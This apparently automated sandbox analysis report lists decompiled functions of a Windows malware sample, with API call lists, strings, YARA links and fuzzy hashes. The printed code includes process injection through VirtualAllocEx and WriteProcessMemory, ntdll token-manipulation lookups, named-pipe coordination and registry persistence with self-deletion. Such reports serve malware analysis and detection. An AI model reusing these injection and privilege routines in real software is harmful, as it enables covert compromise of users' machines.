Function 0040405E, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040405E(void* __ecx) {
				unsigned int _v8;
				unsigned int _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* _t40;
				void* _t43;
				void* _t49;
				void* _t56;
				void* _t62;
				void* _t64;
				long _t71;
				void* _t82;
				void* _t92;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t104;

				_t95 = __ecx;
				_v8 = 0;
				_t40 = CreateEventA(0, 1, 1, 0);
				_v16 = _t40;
				if(_t40 != 0) {
					_t43 = E00404000(E00403ECD(_t95),  &_v20);
					_t97 = _t98;
					_t102 = 0x7d0;
					_t92 = 0x100;
					_t99 = 0x4122f8;
					if(_t43 == 0) {
						L10:
						E0040EE2A(_t97, _t99, 0, _t92);
						_t104 = _t103 + 0xc;
						_t93 = 0xa;
						while(1) {
							_t93 = _t93 - 1;
							_t99 = CreateNamedPipeA(E00403ECD(_t97), 0x40000003, 0, 0xff, 0x64, 0x64, 0x64, 0);
							if(_t99 != 0xffffffff) {
								break;
							}
							Sleep(0x1f4);
							if(_t93 != 0) {
								continue;
							}
							CloseHandle(_v16);
							return 0;
						}
						L14:
						while(1) {
							do {
								L14:
								while(1) {
									do {
										if(ConnectNamedPipe(_t99, 0) != 0) {
											goto L16;
										}
										_t71 = GetLastError();
										asm("sbb eax, eax");
										if( ~(_t71 - 0x217) + 1 == 0) {
											L25:
											DisconnectNamedPipe(_t99);
											continue;
										}
										L16:
										_t49 = E00403F8C(_t99,  &_v12, 4, _v16, _t102);
										_t104 = _t104 + 0x14;
									} while (_t49 == 0);
									_t92 = _v16;
									_v8 = (_v12 >> 2) + _v12;
									E00403F18(_t99,  &_v8, 4, _t92, _t102);
									_t56 = E00403F8C(_t99,  &_v12, 4, _t92, _t102);
									_t104 = _t104 + 0x28;
									if(_t56 == 0 || _v12 != (_v8 >> 2) + _v8) {
										goto L25;
									} else {
										_t62 = E00403F8C(_t99,  &_v28, 8, _t92, _t102);
										_t104 = _t104 + 0x14;
										if(_t62 == 0 || _v24 != 0xc) {
											goto L25;
										} else {
											_t64 = E00403F8C(_t99,  &_v40, 0xc, _t92, _t102);
											_t104 = _t104 + 0x14;
											if(_t64 == 0) {
												goto L25;
											}
											break;
										}
									}
								}
							} while (_v28 != 1);
							E00403F18(_t99,  &_v8, 4, _t92, _t102);
							_t103 = _t104 + 0x14;
							if(_v32 == 0) {
								_t102 = CloseHandle;
								CloseHandle(_t99);
								CloseHandle(_t92);
								E0040E318();
								L8:
								ExitProcess(0);
							}
							 *0x41215a =  *0x41215a + 1;
						}
					}
					E0040EE2A(_t97, 0x4122f8, 0, 0x100);
					_t103 = _t103 + 0xc;
					if(_v20 == 0xffffffff) {
						goto L10;
					}
					_v12 = E0040ECA5();
					E00403F18(_v20,  &_v12, 4, _v16, 0x7d0);
					_t82 = E00403F8C(_v20,  &_v8, 4, _v16, 0x7d0);
					_t103 = _t103 + 0x28;
					if(_t82 == 0 || _v8 != (_v12 >> 2) + _v12) {
						CloseHandle(_v20);
						goto L10;
					} else {
						_v8 = _v8 + (_v8 >> 2);
						E00403F18(_v20,  &_v8, 4, _v16, 0x7d0);
						_t103 = _t103 + 0x14;
						goto L8;
					}
				}
				return 0;
			}

0x0040405e
0x0040406d
0x00404070
0x00404076
0x0040407b
0x00404090
0x00404096
0x00404097
0x0040409c
0x004040a1
0x004040a8
0x00404130
0x00404134
0x00404139
0x0040413e
0x0040413f
0x00404153
0x00404160
0x00404165
0x00000000
0x00000000
0x0040416c
0x00404174
0x00000000
0x00000000
0x00404179
0x00000000
0x00404182
0x00000000
0x00404188
0x00404188
0x00000000
0x00404188
0x00404188
0x00404193
0x00000000
0x00000000
0x00404195
0x004041a2
0x004041a5
0x0040425e
0x0040425f
0x00000000
0x0040425f
0x004041ab
0x004041b6
0x004041bb
0x004041be
0x004041c5
0x004041d0
0x004041da
0x004041e8
0x004041ed
0x004041f2
0x00000000
0x00404202
0x0040420b
0x00404210
0x00404215
0x00000000
0x0040421d
0x00404226
0x0040422b
0x00404230
0x00000000
0x00000000
0x00000000
0x00404230
0x00404215
0x004041f2
0x00404232
0x00404245
0x0040424a
0x00404251
0x0040426a
0x00404271
0x00404274
0x00404276
0x0040411f
0x00404121
0x00404121
0x00404253
0x00404253
0x00404188
0x004040b2
0x004040b7
0x004040be
0x00000000
0x00000000
0x004040c9
0x004040d5
0x004040e7
0x004040ec
0x004040f1
0x0040412a
0x00000000
0x00404101
0x0040410b
0x00404117
0x0040411c
0x00000000
0x0040411c
0x004040f1
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040637C, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040637C(intOrPtr _a4, void* _a8, intOrPtr* _a12, void** _a16) {
				void* _v8;
				void* _t15;
				void* _t16;
				long _t26;
				struct HINSTANCE__* _t32;
				void* _t37;

				if(_a8 != 0) {
					_t32 = GetModuleHandleA(0);
					_t26 =  *( *((intOrPtr*)(_t32 + 0x3c)) + _t32 + 0x50);
					_t15 = VirtualAlloc(0, _t26, 0x1000, 4);
					_v8 = _t15;
					if(_t15 == 0) {
						L5:
						_t16 = 0;
					} else {
						E0040EE08(_t15, _t32, _t26);
						_t37 = VirtualAllocEx(_a8, 0, _t26, 0x1000, 0x40);
						if(_t37 == 0) {
							goto L5;
						} else {
							E004062B7(_v8, _t37);
							if(WriteProcessMemory(_a8, _t37, _v8, _t26, 0) != 0) {
								 *_a16 = _t37;
								 *_a12 = _t37 - _t32 + _a4;
								_t16 = 1;
							} else {
								goto L5;
							}
						}
					}
					return _t16;
				} else {
					return 0;
				}
			}

0x00406384
0x00406395
0x0040639a
0x004063a9
0x004063af
0x004063b4
0x004063f5
0x004063f5
0x004063b6
0x004063b9
0x004063d0
0x004063d4
0x00000000
0x004063d6
0x004063da
0x004063f3
0x004063fc
0x00406406
0x0040640a
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063d4
0x0040640f
0x00406386
0x00406389
0x00406389

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,?), ref: 0040638F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,00409816,?), ref: 004063A9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 004063EB

Strings

Mt, xrefs: 0040638F

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID: Mt
API String ID: 1965334864-2848310829
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Uniqueness

Uniqueness Score: -1.00%

Function 008665CC, Relevance: 6.1, APIs: 4, Instructions: 67memoryinjectionCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 008665DF
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 008665F9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 0086661A
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 0086663B

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction ID: 9e13b35d93c774117389a767a34ffdb59877e4818a2c99cfc14d2dc98b2c3fed
Opcode Fuzzy Hash: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction Fuzzy Hash: 73117371600258BFDB215F65EC4AF9B3FA8FF047A9F118024F909E7290E7B1DD1086A4

Uniqueness

Uniqueness Score: -1.00%

Function 00408E26, Relevance: 4.6, APIs: 3, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408E26(void* __ecx, void* __edx, long _a4, void* _a8, long _a12, void* _a16, long _a20, DWORD* _a24) {
				char _v12;
				int _t13;
				DWORD* _t14;
				int _t15;
				void* _t20;
				void* _t23;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t20 = CreateFileW(E00402508(0x4129f8,  &E0041076C, 0xe, 0xec64, 0x7bac), 0xc0000000, 0, 0, 2, 0x80, 0);
				E0040EE2A(_t22, 0x4129f8, 0, 0x200);
				if(_t20 == 0xffffffff) {
					_t13 = 0;
				} else {
					_t23 = _a8;
					if(_t23 == 0) {
						E00408DF1( &_v12);
						_t23 =  &_v12;
						_a12 = 8;
					}
					_t14 = _a24;
					 *_t14 = 0;
					_t15 = DeviceIoControl(_t20, _a4, _t23, _a12, _a16, _a20, _t14, 0);
					CloseHandle(_t20);
					_t13 = _t15;
				}
				return _t13;
			}

0x00408e26
0x00408e29
0x00408e2a
0x00408e6c
0x00408e6e
0x00408e79
0x00408ebe
0x00408e7b
0x00408e7b
0x00408e80
0x00408e86
0x00408e8c
0x00408e8f
0x00408e8f
0x00408e96
0x00408e9e
0x00408eab
0x00408eb4
0x00408eba
0x00408eba
0x00408ec4

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32 ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004088B0(intOrPtr _a4) {
				intOrPtr _t98;
				void* _t99;
				intOrPtr _t101;

				_t101 = _a4;
				E0040EE2A(_t99, _t101, 0, 0x3e0);
				 *((intOrPtr*)(_t101 + 0xc0)) = __imp__#19;
				 *((intOrPtr*)(_t101 + 0xc4)) = __imp__#16;
				 *((intOrPtr*)(_t101 + 0xc8)) = __imp__#23;
				 *((intOrPtr*)(_t101 + 0xcc)) = __imp__#4;
				 *((intOrPtr*)(_t101 + 0xd0)) = __imp__#3;
				 *((intOrPtr*)(_t101 + 0xd4)) = __imp__#21;
				 *((intOrPtr*)(_t101 + 0xd8)) = __imp__#2;
				 *((intOrPtr*)(_t101 + 0xdc)) = __imp__#13;
				 *((intOrPtr*)(_t101 + 0xe0)) = __imp__#1;
				 *((intOrPtr*)(_t101 + 0xe4)) = __imp__#18;
				 *((intOrPtr*)(_t101 + 0xe8)) = __imp__#5;
				_t98 = __imp__#6;
				 *((intOrPtr*)(_t101 + 0x10)) = E00404861;
				 *((intOrPtr*)(_t101 + 0x14)) = E00405B84;
				 *((intOrPtr*)(_t101 + 0x18)) = E00404EF2;
				 *((intOrPtr*)(_t101 + 8)) = 0;
				 *((intOrPtr*)(_t101 + 0xc)) = 0;
				 *((intOrPtr*)(_t101 + 0x1c)) = E004038F0;
				 *((intOrPtr*)(_t101 + 0x20)) = E0040384F;
				 *((intOrPtr*)(_t101 + 0x134)) = E004035A5;
				 *((intOrPtr*)(_t101 + 0x24)) = E00408EC5;
				 *((intOrPtr*)(_t101 + 0x28)) = E00408EFA;
				 *((intOrPtr*)(_t101 + 0x2c)) = E00408F28;
				 *((intOrPtr*)(_t101 + 0x30)) = E00408F53;
				 *((intOrPtr*)(_t101 + 0x34)) = E004022B9;
				 *((intOrPtr*)(_t101 + 0x38)) = E004025B4;
				 *((intOrPtr*)(_t101 + 0x3c)) = E00408F87;
				 *((intOrPtr*)(_t101 + 0x54)) = E0040AD89;
				 *((intOrPtr*)(_t101 + 0x58)) = E0040B211;
				 *((intOrPtr*)(_t101 + 0x5c)) = E0040AEDD;
				 *((intOrPtr*)(_t101 + 0x60)) = E0040F304;
				 *((intOrPtr*)(_t101 + 0x64)) = E0040F428;
				 *((intOrPtr*)(_t101 + 0x68)) = E0040F43E;
				 *((intOrPtr*)(_t101 + 0x6c)) = E0040F483;
				 *((intOrPtr*)(_t101 + 0x70)) = 0x412104;
				 *((intOrPtr*)(_t101 + 0x74)) = E0040F26D;
				 *((intOrPtr*)(_t101 + 0x78)) = E0040F315;
				 *((intOrPtr*)(_t101 + 0x7c)) = E0040E52E;
				 *((intOrPtr*)(_t101 + 0x80)) = E0040E318;
				 *((intOrPtr*)(_t101 + 0x84)) = E0040EAAF;
				 *((intOrPtr*)(_t101 + 0x88)) = E0040E7B4;
				 *((intOrPtr*)(_t101 + 0x8c)) = E0040DD05;
				 *((intOrPtr*)(_t101 + 0x90)) = E0040E7FF;
				 *((intOrPtr*)(_t101 + 0x94)) = E0040DD69;
				 *((intOrPtr*)(_t101 + 0x98)) = E0040E819;
				 *((intOrPtr*)(_t101 + 0x9c)) = E0040E854;
				 *((intOrPtr*)(_t101 + 0xa0)) = E0040E8A1;
				 *((intOrPtr*)(_t101 + 0xa4)) = E0040EA84;
				 *((intOrPtr*)(_t101 + 0xa8)) = E0040DF4C;
				 *((intOrPtr*)(_t101 + 0xac)) = E0040DF70;
				 *((intOrPtr*)(_t101 + 0xb0)) = E0040E654;
				 *((intOrPtr*)(_t101 + 0xb4)) = E0040E749;
				 *((intOrPtr*)(_t101 + 0xb8)) = E004030B5;
				 *((intOrPtr*)(_t101 + 0xbc)) = 0;
				 *((intOrPtr*)(_t101 + 0xec)) = _t98;
				 *((intOrPtr*)(_t101 + 0xf0)) = E00402684;
				 *((intOrPtr*)(_t101 + 0xf4)) = E004026B2;
				 *((intOrPtr*)(_t101 + 0xf8)) = E00402EF8;
				 *((intOrPtr*)(_t101 + 0xfc)) = E00402F22;
				 *((intOrPtr*)(_t101 + 0x100)) = 0;
				 *((intOrPtr*)(_t101 + 0x104)) = 0;
				 *((intOrPtr*)(_t101 + 0x108)) = 0;
				 *((intOrPtr*)(_t101 + 0x10c)) = 0;
				 *((intOrPtr*)(_t101 + 0x110)) = 0;
				 *((intOrPtr*)(_t101 + 0x114)) = E0040A7C1;
				 *((intOrPtr*)(_t101 + 0x118)) = E00401FEB;
				 *((intOrPtr*)(_t101 + 0x11c)) = 0x401ffe;
				 *((intOrPtr*)(_t101 + 0x138)) = E00406509;
				 *((intOrPtr*)(_t101 + 0x140)) = E00405D34;
				 *((intOrPtr*)(_t101 + 0x144)) = E00405C05;
				 *((intOrPtr*)(_t101 + 0x148)) = E00405D93;
				 *((intOrPtr*)(_t101 + 0x14c)) = E00405E37;
				 *((intOrPtr*)(_t101 + 0x150)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x154)) = E00405E21;
				 *((intOrPtr*)(_t101 + 0x158)) = E00405CE1;
				 *((intOrPtr*)(_t101 + 0x15c)) = E00405DED;
				 *((intOrPtr*)(_t101 + 0x160)) = E00404EFD;
				 *((intOrPtr*)(_t101 + 0x164)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x168)) = E0040488C;
				 *((intOrPtr*)(_t101 + 0x174)) = E00404F13;
				 *((intOrPtr*)(_t101 + 0x178)) = E00404F50;
				 *((intOrPtr*)(_t101 + 0x17c)) = E004082BB;
				 *((intOrPtr*)(_t101 + 0x180)) = E004082C1;
				 *((intOrPtr*)(_t101 + 0x184)) = 0x4082c7;
				 *((intOrPtr*)(_t101 + 0x188)) = 0x408308;
				return _t98;
			}

0x004088b1
0x004088bf
0x004088c9
0x004088d4
0x004088df
0x004088ea
0x004088f5
0x00408900
0x0040890b
0x00408916
0x00408921
0x0040892c
0x00408937
0x0040893d
0x00408945
0x0040894c
0x00408953
0x0040895a
0x0040895d
0x00408960
0x00408967
0x0040896e
0x00408978
0x0040897f
0x00408986
0x0040898d
0x00408994
0x0040899b
0x004089a2
0x004089a9
0x004089b0
0x004089b7
0x004089be
0x004089c5
0x004089cc
0x004089d3
0x004089da
0x004089e1
0x004089e8
0x004089ef
0x004089f6
0x00408a00
0x00408a0a
0x00408a14
0x00408a1e
0x00408a28
0x00408a32
0x00408a3c
0x00408a46
0x00408a50
0x00408a5a
0x00408a64
0x00408a6e
0x00408a78
0x00408a82
0x00408a8c
0x00408a92
0x00408a98
0x00408aa2
0x00408aac
0x00408ab6
0x00408ac0
0x00408ac6
0x00408acc
0x00408ad2
0x00408ad8
0x00408adf
0x00408ae9
0x00408af3
0x00408afd
0x00408b07
0x00408b11
0x00408b1b
0x00408b25
0x00408b2f
0x00408b39
0x00408b43
0x00408b4d
0x00408b57
0x00408b61
0x00408b6b
0x00408b75
0x00408b7f
0x00408b89
0x00408b93
0x00408b9d
0x00408ba7
0x00408bb2

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction ID: 64893a5cec851924fefc00027ac9d8258265f32e823952a4835c6918c3f2ac29
Opcode Fuzzy Hash: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction Fuzzy Hash: 59714BB4501B41CFD360CF66D548782BBE0BB54308F10CD6ED5AAAB790DBB86588DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00869E89, Relevance: 59.9, APIs: 28, Strings: 6, Instructions: 421stringregistryfileCOMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00869E56
lstrcpy.KERNEL32(?,00000000), ref: 00869FCA
lstrcat.KERNEL32(?,?), ref: 00869FDB
lstrcat.KERNEL32(?,0041070C), ref: 00869FED
GetFileAttributesExA.KERNEL32(?,?,?), ref: 0086A03D
DeleteFileA.KERNEL32(?), ref: 0086A088
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 0086A0BF
lstrcpy.KERNEL32 ref: 0086A118
lstrlen.KERNEL32(00000022), ref: 0086A125
GetTempPathA.KERNEL32(000001F4,?), ref: 00869EFC

Part of subcall function 00867012: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000), ref: 0086706A

Part of subcall function 00866F19: GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\fdsoaznc,0086702C), ref: 00866F37
Part of subcall function 00866F19: GetProcAddress.KERNEL32(00000000), ref: 00866F3E
Part of subcall function 00866F19: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00866F64
Part of subcall function 00866F19: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00866F7B

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,?,00000103,?,?,?,?), ref: 0086A18B
RegSetValueExA.ADVAPI32(?,00000001,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 0086A1AE
GetModuleHandleA.KERNEL32(?,?,00000104,?,?,00000010,?,?,00000044,?,?,?,?,?,?,00000103), ref: 0086A1FD
GetModuleFileNameA.KERNEL32(00000000,?,?,00000104,?,?,00000010,?,?,00000044), ref: 0086A204
GetDriveTypeA.KERNEL32(?), ref: 0086A24E
lstrcat.KERNEL32(?,00000000), ref: 0086A288
lstrcat.KERNEL32(?,00410A34), ref: 0086A2AE
lstrcat.KERNEL32(?,00000022), ref: 0086A2C2
lstrcat.KERNEL32(?,00410A34), ref: 0086A2DD
wsprintfA.USER32 ref: 0086A306
lstrcat.KERNEL32(?,00000000), ref: 0086A32E
lstrcat.KERNEL32(?,?), ref: 0086A34D
CreateProcessA.KERNEL32(?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?,?,00000010), ref: 0086A370
DeleteFileA.KERNEL32(?,?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?), ref: 0086A381
RegCloseKey.ADVAPI32(?,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 0086A1BA

Part of subcall function 0086994F: RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 00869986
Part of subcall function 0086994F: RegDeleteValueA.ADVAPI32(?,00000000), ref: 008699A6
Part of subcall function 0086994F: RegCloseKey.ADVAPI32(?), ref: 008699AF

GetModuleHandleA.KERNEL32(?,?,0000012C), ref: 0086A3C4
GetModuleFileNameA.KERNEL32(00000000,?,?,0000012C), ref: 0086A3CB
GetDriveTypeA.KERNEL32(00000022), ref: 0086A406

Strings

", xrefs: 0086A3D9
\, xrefs: 00869F5C
P, xrefs: 00869FFA
", xrefs: 0086A2C8
", xrefs: 0086A12B
D, xrefs: 0086A1DE

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: lstrcat$FileModule$DeleteHandle$CloseDirectoryDriveNameOpenProcessTypeValuelstrcpy$AddressAttributesCreateEnvironmentExitInformationPathProcSystemTempVariableVolumeWindowslstrlenwsprintf
String ID: "$"$"$D$P$\
API String ID: 1653845638-2605685093
Opcode ID: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction ID: ce615e37876bdccf84255d5f78e0f96cecd777d1bc1e1ec0b9b35c8d17c0b825
Opcode Fuzzy Hash: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction Fuzzy Hash: CEF162B1C40259AFDF15DBA4DC49EEE7BBCFB19304F0540A6F209E2141EB758A848F66

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				signed int _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				signed int _t34;
				signed int _t35;

				_t2 =  *0x413918;
				_t35 = _t34 | 0xffffffff;
				if(_t2 != 0) {
					L3:
					if( *0x41391c == 0 ||  *0x413920 == 0 ||  *0x413924 == 0 ||  *0x413928 == 0 ||  *0x41392c == 0 ||  *0x413930 == 0 ||  *0x413934 == 0 ||  *0x413938 == 0 ||  *0x41393c == 0 ||  *0x413940 == 0 ||  *0x413944 == 0 ||  *0x413948 == 0 ||  *0x41394c == 0 ||  *0x413950 == 0 ||  *0x413954 == 0) {
						_t3 = GetProcAddress(_t2, "RtlExpandEnvironmentStrings_U");
						 *0x41391c = _t3;
						if(_t3 == 0) {
							L34:
							_t4 = _t35;
						} else {
							_t35 = 0xfffffffe;
							_t6 = GetProcAddress( *0x413918, "RtlSetLastWin32Error");
							 *0x413920 = _t6;
							if(_t6 == 0) {
								goto L34;
							} else {
								_t35 = 0xfffffffd;
								_t7 = GetProcAddress( *0x413918, "NtTerminateProcess");
								 *0x413924 = _t7;
								if(_t7 == 0) {
									goto L34;
								} else {
									_t35 = 0xfffffffc;
									_t8 = GetProcAddress( *0x413918, "RtlFreeSid");
									 *0x413928 = _t8;
									if(_t8 == 0) {
										goto L34;
									} else {
										_t35 = 0xfffffffb;
										_t10 = GetProcAddress( *0x413918, "RtlInitUnicodeString");
										 *0x41392c = _t10;
										if(_t10 == 0) {
											goto L34;
										} else {
											_t35 = 0xfffffffa;
											_t11 = GetProcAddress( *0x413918, "NtSetInformationThread");
											 *0x413930 = _t11;
											if(_t11 == 0) {
												goto L34;
											} else {
												_t35 = 0xfffffff9;
												_t12 = GetProcAddress( *0x413918, "NtSetInformationToken");
												 *0x413934 = _t12;
												if(_t12 == 0) {
													goto L34;
												} else {
													_t35 = 0xfffffff8;
													_t14 = GetProcAddress( *0x413918, "RtlNtStatusToDosError");
													 *0x413938 = _t14;
													if(_t14 == 0) {
														goto L34;
													} else {
														_t35 = 0xfffffff7;
														_t15 = GetProcAddress( *0x413918, "NtClose");
														 *0x41393c = _t15;
														if(_t15 == 0) {
															goto L34;
														} else {
															_t35 = 0xfffffff6;
															_t16 = GetProcAddress( *0x413918, "NtOpenProcessToken");
															 *0x413940 = _t16;
															if(_t16 == 0) {
																goto L34;
															} else {
																_t35 = 0xfffffff5;
																_t18 = GetProcAddress( *0x413918, "NtDuplicateToken");
																 *0x413944 = _t18;
																if(_t18 == 0) {
																	goto L34;
																} else {
																	_t35 = 0xfffffff4;
																	_t19 = GetProcAddress( *0x413918, "RtlAllocateAndInitializeSid");
																	 *0x413948 = _t19;
																	if(_t19 == 0) {
																		goto L34;
																	} else {
																		_t35 = 0xfffffff3;
																		_t20 = GetProcAddress( *0x413918, "NtFilterToken");
																		 *0x41394c = _t20;
																		if(_t20 == 0) {
																			goto L34;
																		} else {
																			_t35 = 0xfffffff2;
																			_t22 = GetProcAddress( *0x413918, "RtlLengthSid");
																			 *0x413950 = _t22;
																			if(_t22 == 0) {
																				goto L34;
																			} else {
																				_t35 = 0xfffffff1;
																				_t23 = GetProcAddress( *0x413918, "NtQueryInformationToken");
																				 *0x413954 = _t23;
																				_t1 = _t35 + 0x10; // 0x100000001
																				_t4 = _t1;
																				if(_t23 == 0) {
																					goto L34;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						return _t4;
					} else {
						return 1;
					}
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x413918 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401023
0x0040102a
0x004010c2
0x004010c4
0x004010cb
0x0040127b
0x0040127b
0x004010d1
0x004010dc
0x004010e1
0x004010e3
0x004010ea
0x00000000
0x004010f0
0x004010fc
0x00401101
0x00401103
0x0040110a
0x00000000
0x00401110
0x0040111c
0x00401121
0x00401123
0x0040112a
0x00000000
0x00401130
0x0040113b
0x00401140
0x00401142
0x00401149
0x00000000
0x0040114f
0x0040115b
0x00401160
0x00401162
0x00401169
0x00000000
0x0040116f
0x0040117b
0x00401180
0x00401182
0x00401189
0x00000000
0x0040118f
0x0040119a
0x0040119f
0x004011a1
0x004011a8
0x00000000
0x004011ae
0x004011ba
0x004011bf
0x004011c1
0x004011c8
0x00000000
0x004011ce
0x004011da
0x004011df
0x004011e1
0x004011e8
0x00000000
0x004011ee
0x004011f9
0x004011fe
0x00401200
0x00401207
0x00000000
0x00401209
0x00401215
0x0040121a
0x0040121c
0x00401223
0x00000000
0x00401225
0x00401231
0x00401236
0x00401238
0x0040123f
0x00000000
0x00401241
0x0040124c
0x00401251
0x00401253
0x0040125a
0x00000000
0x0040125c
0x00401268
0x0040126d
0x0040126f
0x00401276
0x00401276
0x00401279
0x00000000
0x00000000
